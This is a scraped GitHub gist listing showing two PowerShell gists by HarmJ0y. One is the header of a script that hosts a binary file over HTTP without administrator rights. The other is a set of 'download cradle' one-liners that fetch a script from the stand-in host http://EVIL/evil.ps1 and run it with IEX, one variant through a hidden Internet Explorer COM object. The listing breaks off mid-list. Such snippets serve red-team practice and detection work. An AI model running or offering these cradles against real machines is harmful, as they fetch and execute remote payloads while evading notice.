Skip to content

Instantly share code, notes, and snippets.

View brandontict's full-sized avatar
💭
compiling

brandontict

💭
compiling
View GitHub Profile
@HarmJ0y
HarmJ0y / Invoke-HostFile.ps1
Last active September 12, 2022 01:55
Host a single binary file without needing administrative privileges
Function Invoke-HostFile {
<#
.SYNOPSIS
Hosts a base64 string representation of a binary file or a given
$FilePath on the specified $Port. Any HTTP request to the given
host/port will return the binary data of the specified file.
.PARAMETER Base64File
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active May 4, 2024 08:16
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object